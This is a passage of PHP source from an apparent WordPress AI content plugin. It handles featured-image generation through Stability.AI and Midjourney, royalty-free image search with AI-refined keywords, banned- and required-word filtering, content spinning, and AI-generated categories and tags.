$orig_ai_command_image; if(!isset($aiomatic_Main_Settings['whole_prompt']) || trim($aiomatic_Main_Settings['whole_prompt']) != 'on') { $ai_command_image = preg_split('/\r\n|\r|\n/', $ai_command_image); $ai_command_image = array_filter($ai_command_image); if(count($ai_command_image) > 0) { $ai_command_image = $ai_command_image[array_rand($ai_command_image)]; } else { $ai_command_image = ''; } } $za_post_title = aiomatic_replaceContentShortcodes($post_title, $img_attr, $ai_command); $ai_command_image = aiomatic_replacetopics($ai_command_image, $za_post_title, $content_language, $writing_style, $writing_tone, $post_topic, $post_sections, $current_section, $section_count, $paragraph_count, $post_title_keywords, $custom_shortcodes, $global_prepend, $global_append, $default_cat_list); $ai_command_image = aiomatic_replaceSynergyShortcodes($ai_command_image); if(!empty($ai_command_image)) { $ai_command_image = replaceAIPostShortcodes($ai_command_image, $post_link, $post_title, $blog_title, $post_excerpt, $final_content, $user_name, $featured_image, $post_cats, $post_tagz, $postID, $img_attr, $old_title, $post_title_keywords, $custom_shortcodes, $global_prepend, $global_append); } else { $ai_command_image = trim(strip_tags($post_title)); } $ai_command_image = trim($ai_command_image); if (filter_var($ai_command_image, FILTER_VALIDATE_URL) !== false && aiomatic_endsWith($ai_command_image, '.txt')) { $txt_content = aiomatic_get_web_page($ai_command_image); if ($txt_content !== FALSE) { $txt_content = preg_split('/\r\n|\r|\n/', $txt_content); $txt_content = array_filter($txt_content); if(count($txt_content) > 0) { $txt_content = $txt_content[array_rand($txt_content)]; if(trim($txt_content) != '') { $ai_command_image = $txt_content; $ai_command_image = aiomatic_replaceSynergyShortcodes($ai_command_image); $ai_command_image = replaceAIPostShortcodes($ai_command_image, $post_link, $post_title, $blog_title, $post_excerpt, $final_content, $user_name, $featured_image, $post_cats, $post_tagz, $postID, $img_attr, $old_title, $post_title_keywords, $custom_shortcodes, $global_prepend, $global_append); } } } } if(empty($ai_command_image)) { aiomatic_log_to_file('Empty API featured image seed expression provided!'); } else { if(strlen($ai_command_image) > 2000) { $ai_command_image = aiomatic_substr($ai_command_image, 0, 2000); } if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) { $api_service = 'Stability.AI'; aiomatic_log_to_file('Calling ' . $api_service . ' for featured image: ' . $ai_command_image); } if($image_size == '256x256') { $width = '512'; $height = '512'; } elseif($image_size == '512x512') { $width = '512'; $height = '512'; } elseif($image_size == '1024x1024') { $width = '1024'; $height = '1024'; } else { $width = '512'; $height = '512'; } $skip_this_copy = true; if(!function_exists('is_plugin_active')) { include_once( ABSPATH . 'wp-admin/includes/plugin.php' ); } if ((is_plugin_active('featured-image-from-url/featured-image-from-url.php') || is_plugin_active('fifu-premium/fifu-premium.php')) && isset($aiomatic_Main_Settings['url_image']) && trim($aiomatic_Main_Settings['url_image']) == 'on') { $skip_this_copy = false; } $ierror = ''; aiomatic_job_set_status_pending($rule_unique_id, array('step' => 'Generating ai image (Stable Diffusion)')); $get_img = aiomatic_generate_stability_image($ai_command_image, $height, $width, 'featuredStableImage', 0, false, $ierror, $skip_this_copy, false); if($get_img !== false) { if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) { aiomatic_log_to_file('AI generated featured image returned: ' . $get_img[1]); } } else { aiomatic_log_to_file('Failed to generate Stability.AI featured image: ' . $ierror); $get_img = ''; } } } else { aiomatic_log_to_file('Empty AI featured image query entered.'); } } elseif($enable_ai_images == '4') { $query_words = $post_title; if($image_query == '') { $image_query = $temp_post; } if($orig_ai_command_image == '') { $orig_ai_command_image = $image_query; } if($orig_ai_command_image != '') { $ai_command_image = $orig_ai_command_image; if(!isset($aiomatic_Main_Settings['whole_prompt']) || trim($aiomatic_Main_Settings['whole_prompt']) != 'on') { $ai_command_image = preg_split('/\r\n|\r|\n/', $ai_command_image); $ai_command_image = array_filter($ai_command_image); if(count($ai_command_image) > 0) { $ai_command_image = $ai_command_image[array_rand($ai_command_image)]; } else { $ai_command_image = ''; } } $za_post_title = aiomatic_replaceContentShortcodes($post_title, $img_attr, $ai_command); $ai_command_image = aiomatic_replacetopics($ai_command_image, $za_post_title, $content_language, $writing_style, $writing_tone, $post_topic, $post_sections, $current_section, $section_count, $paragraph_count, $post_title_keywords, $custom_shortcodes, $global_prepend, $global_append, $default_cat_list); $ai_command_image = aiomatic_replaceSynergyShortcodes($ai_command_image); if(!empty($ai_command_image)) { $ai_command_image = replaceAIPostShortcodes($ai_command_image, $post_link, $post_title, $blog_title, $post_excerpt, $final_content, $user_name, $featured_image, $post_cats, $post_tagz, $postID, $img_attr, $old_title, $post_title_keywords, $custom_shortcodes, $global_prepend, $global_append); } else { $ai_command_image = trim(strip_tags($post_title)); } $ai_command_image = trim($ai_command_image); if (filter_var($ai_command_image, FILTER_VALIDATE_URL) !== false && aiomatic_endsWith($ai_command_image, '.txt')) { $txt_content = aiomatic_get_web_page($ai_command_image); if ($txt_content !== FALSE) { $txt_content = preg_split('/\r\n|\r|\n/', $txt_content); $txt_content = array_filter($txt_content); if(count($txt_content) > 0) { $txt_content = $txt_content[array_rand($txt_content)]; if(trim($txt_content) != '') { $ai_command_image = $txt_content; $ai_command_image = aiomatic_replaceSynergyShortcodes($ai_command_image); $ai_command_image = replaceAIPostShortcodes($ai_command_image, $post_link, $post_title, $blog_title, $post_excerpt, $final_content, $user_name, $featured_image, $post_cats, $post_tagz, $postID, $img_attr, $old_title, $post_title_keywords, $custom_shortcodes, $global_prepend, $global_append); } } } } if(empty($ai_command_image)) { aiomatic_log_to_file('Empty API featured image seed expression provided!'); } else { if(strlen($ai_command_image) > 2000) { $ai_command_image = aiomatic_substr($ai_command_image, 0, 2000); } if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) { $api_service = 'Midjourney'; aiomatic_log_to_file('Calling ' . $api_service . ' for featured image: ' . $ai_command_image); } if($image_size == '256x256') { $width = '512'; $height = '512'; } elseif($image_size == '512x512') { $width = '512'; $height = '512'; } elseif($image_size == '1024x1024') { $width = '1024'; $height = '1024'; } elseif($image_size == '1792x1024') { $width = '1792'; $height = '1024'; } elseif($image_size == '1024x1792') { $width = '1024'; $height = '1792'; } else { $width = '512'; $height = '512'; } $skip_this_copy = true; if(!function_exists('is_plugin_active')) { include_once( ABSPATH . 'wp-admin/includes/plugin.php' ); } if ((is_plugin_active('featured-image-from-url/featured-image-from-url.php') || is_plugin_active('fifu-premium/fifu-premium.php')) && isset($aiomatic_Main_Settings['url_image']) && trim($aiomatic_Main_Settings['url_image']) == 'on') { $skip_this_copy = false; } $ierror = ''; aiomatic_job_set_status_pending($rule_unique_id, array('step' => 'Generating ai image (Midjourney)')); $get_img = aiomatic_generate_ai_image_midjourney($ai_command_image, $width, $height, 'featuredMidjourneyImage', false, $ierror); if($get_img !== false) { if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) { aiomatic_log_to_file('AI generated featured image returned: ' . $get_img); } } else { aiomatic_log_to_file('Failed to generate Midjourney featured image: ' . $ierror); $get_img = ''; } } } else { aiomatic_log_to_file('Empty AI featured image query entered.'); } } elseif($enable_ai_images == '3') { if ($image_url != '') { $replacement = str_replace(array('[', ']'), '', $query_words); $image_url_temp = str_replace('%%item_title%%', $replacement, $image_url); $image_url_temp = preg_replace_callback('#%%random_image\[([^\]]*?)\](\[\d+\])?%%#', function ($matches) { if(isset($matches[2])) { $chance = trim($matches[2], '[]'); } else { $chance = ''; } $arv = array(); $my_img = aiomatic_get_random_image_google($matches[1], 0, 0, $chance, $arv); return $my_img; }, $image_url_temp); $img_rulx = $spintax->Parse(trim($image_url_temp)); $selected_img = aiomatic_select_ai_image($post_title, $img_rulx); if($selected_img === false) { $img_rulx = explode(',', $img_rulx); $img_rulx = trim($img_rulx[array_rand($img_rulx)]); if($img_rulx != '') { $get_img = $img_rulx; } } else { $get_img = $selected_img; } } } else { $image_query_set = false; $query_words = ''; $ai_command_image = ''; if($orig_ai_command_image == '') { $orig_ai_command_image = $image_query; } if($orig_ai_command_image != '') { $ai_command_image = $orig_ai_command_image; if(!isset($aiomatic_Main_Settings['whole_prompt']) || trim($aiomatic_Main_Settings['whole_prompt']) != 'on') { $ai_command_image = preg_split('/\r\n|\r|\n/', $ai_command_image); $ai_command_image = array_filter($ai_command_image); if(count($ai_command_image) > 0) { $ai_command_image = $ai_command_image[array_rand($ai_command_image)]; } else { $ai_command_image = ''; } } $za_post_title = aiomatic_replaceContentShortcodes($post_title, $img_attr, $ai_command); $ai_command_image = aiomatic_replacetopics($ai_command_image, $za_post_title, $content_language, $writing_style, $writing_tone, $post_topic, $post_sections, $current_section, $section_count, $paragraph_count, $post_title_keywords, $custom_shortcodes, $global_prepend, $global_append, $default_cat_list); $ai_command_image = aiomatic_replaceSynergyShortcodes($ai_command_image); if(!empty($ai_command_image)) { $ai_command_image = replaceAIPostShortcodes($ai_command_image, $post_link, $post_title, $blog_title, $post_excerpt, $final_content, $user_name, $featured_image, $post_cats, $post_tagz, $postID, $img_attr, $old_title, $post_title_keywords, $custom_shortcodes, $global_prepend, $global_append); } else { $ai_command_image = trim(strip_tags($post_title)); } $ai_command_image = trim($ai_command_image); if (filter_var($ai_command_image, FILTER_VALIDATE_URL) !== false && aiomatic_endsWith($ai_command_image, '.txt')) { $txt_content = aiomatic_get_web_page($ai_command_image); if ($txt_content !== FALSE) { $txt_content = preg_split('/\r\n|\r|\n/', $txt_content); $txt_content = array_filter($txt_content); if(count($txt_content) > 0) { $txt_content = $txt_content[array_rand($txt_content)]; if(trim($txt_content) != '') { $ai_command_image = $txt_content; $ai_command_image = aiomatic_replaceSynergyShortcodes($ai_command_image); $ai_command_image = replaceAIPostShortcodes($ai_command_image, $post_link, $post_title, $blog_title, $post_excerpt, $final_content, $user_name, $featured_image, $post_cats, $post_tagz, $postID, $img_attr, $old_title, $post_title_keywords, $custom_shortcodes, $global_prepend, $global_append); } } } } } if($ai_command_image != '') { $query_words = $ai_command_image; $image_query = $ai_command_image; $image_query_set = true; } if(isset($aiomatic_Main_Settings['improve_keywords']) && trim($aiomatic_Main_Settings['improve_keywords']) == 'textrazor') { if(isset($aiomatic_Main_Settings['textrazor_key']) && trim($aiomatic_Main_Settings['textrazor_key']) != '') { try { if(!class_exists('TextRazor')) { require_once(dirname(__FILE__) . "/res/TextRazor.php"); } TextRazorSettings::setApiKey(trim($aiomatic_Main_Settings['textrazor_key'])); $textrazor = new TextRazor(); $textrazor->addExtractor('entities'); $response = $textrazor->analyze($image_query); if (isset($response['response']['entities'])) { foreach ($response['response']['entities'] as $entity) { $query_words = ''; if(isset($entity['entityEnglishId'])) { $query_words = $entity['entityEnglishId']; } else { $query_words = $entity['entityId']; } if($query_words != '') { $z_img = aiomatic_get_free_image($aiomatic_Main_Settings, $query_words, $img_attr, 10, true, $raw_img_list, array(), $full_result_list); if(!empty($z_img)) { $get_img = $z_img; $go_local_image = false; if(!function_exists('is_plugin_active')) { include_once( ABSPATH . 'wp-admin/includes/plugin.php' ); } if ((is_plugin_active('featured-image-from-url/featured-image-from-url.php') || is_plugin_active('fifu-premium/fifu-premium.php')) && isset($aiomatic_Main_Settings['url_image']) && trim($aiomatic_Main_Settings['url_image']) == 'on' && isset($aiomatic_Main_Settings['copy_locally']) && $aiomatic_Main_Settings['copy_locally'] != 'disabled' && $aiomatic_Main_Settings['copy_locally'] != 'on') { $go_local_image = true; } if($go_local_image == true) { $localpath = aiomatic_copy_image_locally($get_img); if($localpath !== false) { $get_img = $localpath[0]; } } if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) { aiomatic_log_to_file('Royalty Free Image Generated with help of TextRazor (kw: "' . $query_words . '"): ' . $z_img); } break; } } } } } catch(Exception $e) { if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) { aiomatic_log_to_file('Failed to search for keywords using TextRazor (2): ' . $e->getMessage()); } } } } elseif(isset($aiomatic_Main_Settings['improve_keywords']) && trim($aiomatic_Main_Settings['improve_keywords']) == 'openai') { if(isset($aiomatic_Main_Settings['keyword_prompts']) && trim($aiomatic_Main_Settings['keyword_prompts']) != '') { if(isset($aiomatic_Main_Settings['keyword_model']) && $aiomatic_Main_Settings['keyword_model'] != '') { $kw_model = $aiomatic_Main_Settings['keyword_model']; } else { $kw_model = get_default_model_name($aiomatic_Main_Settings); } if(isset($aiomatic_Main_Settings['keyword_assistant_id']) && $aiomatic_Main_Settings['keyword_assistant_id'] != '') { $keyword_assistant_id = $aiomatic_Main_Settings['keyword_assistant_id']; } else { $keyword_assistant_id = ''; } $title_ai_command = trim($aiomatic_Main_Settings['keyword_prompts']); $title_ai_command = str_replace('%%default_post_cats%%', $default_cat_list, $title_ai_command); if(!isset($aiomatic_Main_Settings['whole_prompt']) || trim($aiomatic_Main_Settings['whole_prompt']) != 'on') { $title_ai_command = preg_split('/\r\n|\r|\n/', $title_ai_command); $title_ai_command = array_filter($title_ai_command); if(count($title_ai_command) > 0) { $title_ai_command = $title_ai_command[array_rand($title_ai_command)]; } else { $title_ai_command = ''; } } $title_ai_command = aiomatic_replaceSynergyShortcodes($title_ai_command); if(!empty($title_ai_command)) { $title_ai_command = replaceAIPostShortcodes($title_ai_command, $post_link, $post_title, $blog_title, $post_excerpt, $final_content, $user_name, $featured_image, $post_cats, $post_tagz, $postID, $img_attr, $old_title, $post_title_keywords, $custom_shortcodes, $global_prepend, $global_append); } $title_ai_command = trim($title_ai_command); if (filter_var($title_ai_command, FILTER_VALIDATE_URL) !== false && aiomatic_endsWith($title_ai_command, '.txt')) { $txt_content = aiomatic_get_web_page($title_ai_command); if ($txt_content !== FALSE) { $txt_content = preg_split('/\r\n|\r|\n/', $txt_content); $txt_content = array_filter($txt_content); if(count($txt_content) > 0) { $txt_content = $txt_content[array_rand($txt_content)]; if(trim($txt_content) != '') { $title_ai_command = $txt_content; $title_ai_command = aiomatic_replaceSynergyShortcodes($title_ai_command); $title_ai_command = replaceAIPostShortcodes($title_ai_command, $post_link, $post_title, $blog_title, $post_excerpt, $final_content, $user_name, $featured_image, $post_cats, $post_tagz, $postID, $img_attr, $old_title, $post_title_keywords, $custom_shortcodes, $global_prepend, $global_append); } } } } if(empty($title_ai_command)) { aiomatic_log_to_file('Empty API keyword extractor seed expression provided!'); $title_ai_command = 'Type the most relevant keyword, no other text before or after it, for a blog post titled: ' . trim(strip_tags($post_title)); } if(strlen($title_ai_command) > $max_seed_tokens * 4) { $title_ai_command = aiomatic_substr($title_ai_command, 0, (0 - ($max_seed_tokens * 4))); } $title_ai_command = trim($title_ai_command); if(empty($title_ai_command)) { aiomatic_log_to_file('Empty API title seed expression provided(3)! ' . print_r($title_ai_command, true)); } else { $query_token_count = count(aiomatic_encode($title_ai_command)); $available_tokens = aiomatic_compute_available_tokens($kw_model, $max_tokens, $title_ai_command, $query_token_count); if($available_tokens <= AIOMATIC_MINIMUM_TOKENS_FOR_COMPLETIONS) { $string_len = strlen($title_ai_command); $string_len = $string_len / 2; $string_len = intval(0 - $string_len); $title_ai_command = aiomatic_substr($title_ai_command, 0, $string_len); $title_ai_command = trim($title_ai_command); $query_token_count = count(aiomatic_encode($title_ai_command)); $available_tokens = $max_tokens - $query_token_count; } $aierror = ''; $finish_reason = ''; if(!empty($global_prepend)) { $title_ai_command = $global_prepend . ' ' . $title_ai_command; } if(!empty($global_append)) { $title_ai_command = $title_ai_command . ' ' . $global_append; } if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) { $api_service = aiomatic_get_api_service($token, $kw_model); aiomatic_log_to_file('Calling ' . $api_service . ' (' . $assistant_id . '/' . $kw_model . ') for title text: ' . $title_ai_command); } aiomatic_job_set_status_pending($rule_unique_id, array('step' => 'Improving royalty free image search keywords')); $generated_text = aiomatic_generate_text($token, $kw_model, $title_ai_command, $available_tokens, $temperature, $top_p, $presence_penalty, $frequency_penalty, false, 'keywordID' . $param, 0, $finish_reason, $aierror, true, false, false, '', '', 'user', $keyword_assistant_id, $thread_id, '', 'disabled', '', true); if($generated_text === false) { aiomatic_log_to_file('Keyword generator error: ' . $aierror); $ai_title = ''; } else { $ai_title = trim(trim(trim(trim($generated_text), '.'), ' “â€â€˜â€™"\'')); $ai_titles = explode(',', $ai_title); foreach($ai_titles as $query_words) { $z_img = aiomatic_get_free_image($aiomatic_Main_Settings, trim($query_words), $img_attr, 10, true, $raw_img_list, array(), $full_result_list); if(!empty($z_img)) { $get_img = $z_img; $go_local_image = false; if(!function_exists('is_plugin_active')) { include_once( ABSPATH . 'wp-admin/includes/plugin.php' ); } if ((is_plugin_active('featured-image-from-url/featured-image-from-url.php') || is_plugin_active('fifu-premium/fifu-premium.php')) && isset($aiomatic_Main_Settings['url_image']) && trim($aiomatic_Main_Settings['url_image']) == 'on' && isset($aiomatic_Main_Settings['copy_locally']) && $aiomatic_Main_Settings['copy_locally'] != 'disabled' && $aiomatic_Main_Settings['copy_locally'] != 'on') { $go_local_image = true; } if($go_local_image == true) { $localpath = aiomatic_copy_image_locally($get_img); if($localpath !== false) { $get_img = $localpath[0]; } } if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) { aiomatic_log_to_file('Royalty Free Image Generated with help of AI (kw: "' . $query_words . '"): ' . $z_img); } break; } } } if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) { $api_service = aiomatic_get_api_service($token, $kw_model); aiomatic_log_to_file('Successfully got API keyword result from ' . $api_service . ': ' . $ai_title); } } } } if(empty($get_img)) { if($image_query_set == true && !empty($image_query)) { aiomatic_job_set_status_pending($rule_unique_id, array('step' => 'Generating royalty free image')); $get_img = aiomatic_get_free_image($aiomatic_Main_Settings, $image_query, $img_attr, 10, true, $raw_img_list, array(), $full_result_list); if($get_img == '' || $get_img === false) { if(isset($aiomatic_Main_Settings['bimage']) && $aiomatic_Main_Settings['bimage'] == 'on') { $keyword_class = new Aiomatic_keywords(); $image_query = $keyword_class->keywords($image_query, 1); $get_img = aiomatic_get_free_image($aiomatic_Main_Settings, $image_query, $img_attr, 20, true, $raw_img_list, array(), $full_result_list); } } } if(empty($get_img)) { $keyword_class = new Aiomatic_keywords(); $query_words = $keyword_class->keywords($post_title, 2); $get_img = aiomatic_get_free_image($aiomatic_Main_Settings, $query_words, $img_attr, 10, true, $raw_img_list, array(), $full_result_list); if($get_img == '' || $get_img === false) { if(isset($aiomatic_Main_Settings['bimage']) && $aiomatic_Main_Settings['bimage'] == 'on') { $query_words = $keyword_class->keywords($post_title, 1); $get_img = aiomatic_get_free_image($aiomatic_Main_Settings, $query_words, $img_attr, 20, true, $raw_img_list, array(), $full_result_list); if($get_img == '' || $get_img === false) { if(isset($aiomatic_Main_Settings['no_royalty_skip']) && $aiomatic_Main_Settings['no_royalty_skip'] == 'on') { if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) { aiomatic_log_to_file('Skipping importing because no royalty free image found.'); } unset($post_title_lines[$current_index]); continue; } } } else { if(isset($aiomatic_Main_Settings['no_royalty_skip']) && $aiomatic_Main_Settings['no_royalty_skip'] == 'on') { if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) { aiomatic_log_to_file('Skipping importing because no royalty free image found.'); } unset($post_title_lines[$current_index]); continue; } } } } if(!empty($get_img)) { $go_local_image = false; if(!function_exists('is_plugin_active')) { include_once( ABSPATH . 'wp-admin/includes/plugin.php' ); } if ((is_plugin_active('featured-image-from-url/featured-image-from-url.php') || is_plugin_active('fifu-premium/fifu-premium.php')) && isset($aiomatic_Main_Settings['url_image']) && trim($aiomatic_Main_Settings['url_image']) == 'on' && isset($aiomatic_Main_Settings['copy_locally']) && $aiomatic_Main_Settings['copy_locally'] != 'disabled' && $aiomatic_Main_Settings['copy_locally'] != 'on') { $go_local_image = true; } if($go_local_image == true) { $localpath = aiomatic_copy_image_locally($get_img); if($localpath !== false) { $get_img = $localpath[0]; } } } } } } if (isset($aiomatic_Main_Settings['spin_text']) && $aiomatic_Main_Settings['spin_text'] !== 'disabled') { $already_spinned = '1'; } $my_post = array(); $my_post['aiomatic_post_image'] = $get_img; if($enable_ai_images == '2') { $my_post['aiomatic_local_image'] = '1'; } else { $my_post['aiomatic_local_image'] = '0'; } $my_post['aiomatic_enable_pingbacks'] = $enable_pingback; $my_post['default_category'] = $default_category; $my_post['post_type'] = $post_type; $my_post['comment_status'] = $accept_comments; if (isset($aiomatic_Main_Settings['draft_first']) && $aiomatic_Main_Settings['draft_first'] != 'on') { if($post_status == 'publish') { $draft_me = true; $my_post['post_status'] = 'draft'; } else { $my_post['post_status'] = $post_status; } } else { $my_post['post_status'] = $post_status; } if($user_name_type == 'rand') { $randid = aiomatic_display_random_user(); if($randid === false) { $my_post['post_author'] = aiomatic_randomName(); } else { $my_post['post_author'] = $randid->ID; } } else { $my_post['post_author'] = $post_user_name; } if($strip_title == '1') { $new_post_content = str_replace($post_title, '', $new_post_content); $new_post_content = str_replace('

            ', '', $new_post_content); $new_post_content = str_replace('

            ', '', $new_post_content); } if (isset($aiomatic_Main_Settings['swear_filter']) && $aiomatic_Main_Settings['swear_filter'] == 'on') { require_once(dirname(__FILE__) . "/res/swear.php"); $new_post_content = aiomatic_filterwords($new_post_content); } if(isset($aiomatic_Main_Settings['global_ban_words']) && $aiomatic_Main_Settings['global_ban_words'] != '') { $continue = false; $aiomatic_Main_Settings['global_ban_words'] = trim(trim(trim($aiomatic_Main_Settings['global_ban_words']), ',')); $banned_list = explode(',', $aiomatic_Main_Settings['global_ban_words']); foreach ($banned_list as $banned_word) { if (stripos($new_post_content, trim($banned_word)) !== FALSE) { if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) { aiomatic_log_to_file('Skipping post "' . esc_html($post_title) . '", because it\'s content contains global banned word: ' . $banned_word); } $continue = true; break; } if (stripos($post_title, trim($banned_word)) !== FALSE) { if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) { aiomatic_log_to_file('Skipping post "' . esc_html($post_title) . '", because it\'s title contains global banned word: ' . $banned_word); } $continue = true; break; } } if ($continue === true) { continue; } } if(isset($aiomatic_Main_Settings['global_req_words']) && $aiomatic_Main_Settings['global_req_words'] != '') { if(isset($aiomatic_Main_Settings['require_only_one']) && $aiomatic_Main_Settings['require_only_one'] == 'on') { $continue = true; $aiomatic_Main_Settings['global_req_words'] = trim(trim(trim($aiomatic_Main_Settings['global_req_words']), ',')); $required_list = explode(',', $aiomatic_Main_Settings['global_req_words']); foreach ($required_list as $required_word) { if (stripos($new_post_content, trim($required_word)) !== FALSE || stripos($post_title, trim($required_word)) !== FALSE) { $continue = false; break; } } if ($continue === true) { if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) { aiomatic_log_to_file('Skipping post "' . esc_html($post_title) . '", because it\'s content doesn\'t contain global required words.'); } continue; } } else { $continue = false; $aiomatic_Main_Settings['global_req_words'] = trim(trim(trim($aiomatic_Main_Settings['global_req_words']), ',')); $required_list = explode(',', $aiomatic_Main_Settings['global_req_words']); foreach ($required_list as $required_word) { if (stripos($new_post_content, trim($required_word)) === FALSE && stripos($post_title, trim($required_word)) === FALSE) { $continue = true; break; } } if ($continue === true) { if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) { aiomatic_log_to_file('Skipping post "' . esc_html($post_title) . '", because it\'s content doesn\'t contain global required words.'); } continue; } } } $new_post_title = $post_title; if (isset($aiomatic_Main_Settings['spin_what']) && $aiomatic_Main_Settings['spin_what'] === 'omni') { $skip_spin = '1'; } $arr = aiomatic_spin_and_translate($new_post_title, $new_post_content, '3', $skip_spin, $skip_translate); if($arr[0] != $new_post_title) { $new_post_title = $arr[0]; if (!isset($aiomatic_Main_Settings['do_not_check_duplicates']) || $aiomatic_Main_Settings['do_not_check_duplicates'] != 'on') { $posts = get_posts( array( 'post_type' => $post_type, 'title' => html_entity_decode($new_post_title), 'post_status' => 'all', 'numberposts' => 1, 'update_post_term_cache' => false, 'update_post_meta_cache' => false, 'orderby' => 'post_date ID', 'order' => 'ASC', ) ); if ( ! empty( $posts ) ) { $zap = $posts[0]; } else { $zap = null; } if($zap !== null) { if($overwrite_existing) { $update_post_id = $zap->ID; } else { aiomatic_log_to_file('Post with specified title already existing (after spin/translate), skipping it: ' . $new_post_title); unset($post_title_lines[$current_index]); continue; } } } } $new_post_content = $arr[1]; if (isset($aiomatic_Main_Settings['spin_text']) && $aiomatic_Main_Settings['spin_text'] !== 'disabled') { $already_spinned = '1'; } if ($auto_categories == 'content') { $extra_categories = aiomatic_extractKeyWords($new_post_content); $extra_categories = implode(',', $extra_categories); } elseif ($auto_categories == 'title') { $extra_categories = aiomatic_extractKeyWords($new_post_title); $extra_categories = implode(',', $extra_categories); } elseif ($auto_categories == 'both') { $extra_categories = aiomatic_extractKeyWords($new_post_content); $extra_categories = implode(',', $extra_categories); $extra_categories2 = aiomatic_extractKeyWords($new_post_title); $extra_categories2 = implode(',', $extra_categories2); if($extra_categories2 != '') { $extra_categories .= ',' . $extra_categories2; } } elseif ($auto_categories == 'ai') { $category_ai_command = $orig_ai_command_category; if(!isset($aiomatic_Main_Settings['whole_prompt']) || trim($aiomatic_Main_Settings['whole_prompt']) != 'on') { $category_ai_command = preg_split('/\r\n|\r|\n/', $category_ai_command); $category_ai_command = array_filter($category_ai_command); if(count($category_ai_command) > 0) { $category_ai_command = $category_ai_command[array_rand($category_ai_command)]; } else { $category_ai_command = ''; } } $category_ai_command = aiomatic_replaceSynergyShortcodes($category_ai_command); if(!empty($category_ai_command)) { $category_ai_command = replaceAIPostShortcodes($category_ai_command, $post_link, $post_title, $blog_title, $post_excerpt, $final_content, $user_name, $featured_image, $post_cats, $post_tagz, $postID, $img_attr, $old_title, $post_title_keywords, $custom_shortcodes, $global_prepend, $global_append); $category_ai_command = aiomatic_replacetopics($category_ai_command, $post_title, $content_language, $writing_style, $writing_tone, $post_topic, $post_sections, $current_section, $section_count, $paragraph_count, $post_title_keywords, $custom_shortcodes, $global_prepend, $global_append, $default_cat_list); } else { $category_ai_command = trim(strip_tags('Write a comma separated list of categories, for the post title: %%post_title%%')); } $category_ai_command = trim($category_ai_command); if (filter_var($category_ai_command, FILTER_VALIDATE_URL) !== false && aiomatic_endsWith($category_ai_command, '.txt')) { $txt_content = aiomatic_get_web_page($category_ai_command); if ($txt_content !== FALSE) { $txt_content = preg_split('/\r\n|\r|\n/', $txt_content); $txt_content = array_filter($txt_content); if(count($txt_content) > 0) { $txt_content = $txt_content[array_rand($txt_content)]; if(trim($txt_content) != '') { $category_ai_command = $txt_content; $category_ai_command = aiomatic_replaceSynergyShortcodes($category_ai_command); $category_ai_command = replaceAIPostShortcodes($category_ai_command, $post_link, $post_title, $blog_title, $post_excerpt, $final_content, $user_name, $featured_image, $post_cats, $post_tagz, $postID, $img_attr, $old_title, $post_title_keywords, $custom_shortcodes, $global_prepend, $global_append); $category_ai_command = aiomatic_replacetopics($category_ai_command, $post_title, $content_language, $writing_style, $writing_tone, $post_topic, $post_sections, $current_section, $section_count, $paragraph_count, $post_title_keywords, $custom_shortcodes, $global_prepend, $global_append, $default_cat_list); } } } } if(empty($category_ai_command)) { aiomatic_log_to_file('Empty API post category seed expression provided!'); } else { if(strlen($category_ai_command) > $max_seed_tokens * 4) { $category_ai_command = aiomatic_substr($category_ai_command, 0, (0 - ($max_seed_tokens * 4))); } $category_ai_command = trim($category_ai_command); if(empty($category_ai_command)) { aiomatic_log_to_file('Empty API category seed expression provided! ' . print_r($category_ai_command, true)); break; } $query_token_count = count(aiomatic_encode($category_ai_command)); $available_tokens = aiomatic_compute_available_tokens($category_model, $max_tokens, $category_ai_command, $query_token_count); if($available_tokens <= AIOMATIC_MINIMUM_TOKENS_FOR_COMPLETIONS) { $string_len = strlen($category_ai_command); $string_len = $string_len / 2; $string_len = intval(0 - $string_len); $category_ai_command = aiomatic_substr($category_ai_command, 0, $string_len); $category_ai_command = trim($category_ai_command); if(empty($category_ai_command)) { aiomatic_log_to_file('Empty API seed expression provided (after processing) ' . print_r($category_ai_command, true)); break; } $query_token_count = count(aiomatic_encode($category_ai_command)); $available_tokens = $max_tokens - $query_token_count; } $aierror = ''; $finish_reason = ''; if(!empty($global_prepend)) { $category_ai_command = $global_prepend . ' ' . $category_ai_command; } if(!empty($global_append)) { $category_ai_command = $category_ai_command . ' ' . $global_append; } if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) { $api_service = aiomatic_get_api_service($token, $category_model); aiomatic_log_to_file('Calling ' . $api_service . ' (' . $assistant_id . '/' . $category_model . ') for category generator: ' . $category_ai_command); } aiomatic_job_set_status_pending($rule_unique_id, array('step' => 'Generating category')); $generated_text = aiomatic_generate_text($token, $category_model, $category_ai_command, $available_tokens, $temperature, $top_p, $presence_penalty, $frequency_penalty, false, 'categoryID' . $param, 0, $finish_reason, $aierror, true, false, false, '', '', 'user', $assistant_id, $thread_id, '', 'disabled', '', false); if($generated_text === false) { aiomatic_log_to_file('Category generator error: ' . $aierror); break; } else { $extra_categories = $generated_text; } if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) { $api_service = aiomatic_get_api_service($token, $category_model); aiomatic_log_to_file('Successfully got API category result from ' . $api_service . ': ' . $generated_text); } } } else { $extra_categories = ''; } $my_post['extra_categories'] = $extra_categories; $item_tags = aiomatic_extractKeyWords($new_post_content, 3); $item_tags = implode(',', $item_tags); $title_tags = aiomatic_extractKeyWords($new_post_title, 3); $title_tags = implode(',', $title_tags); $item_create_tag_sp = $spintax->Parse($item_create_tag); if ($can_create_tag == 'content') { $post_the_tags = ($item_create_tag_sp != '' ? $item_create_tag_sp . ',' : '') . $item_tags; $my_post['extra_tags'] = $item_tags; } else if ($can_create_tag == 'title') { $post_the_tags = ($item_create_tag_sp != '' ? $item_create_tag_sp . ',' : '') . $title_tags; $my_post['extra_tags'] = $title_tags; } else if ($can_create_tag == 'both') { $post_the_tags = ($item_create_tag_sp != '' ? $item_create_tag_sp . ',' : '') . ($item_tags 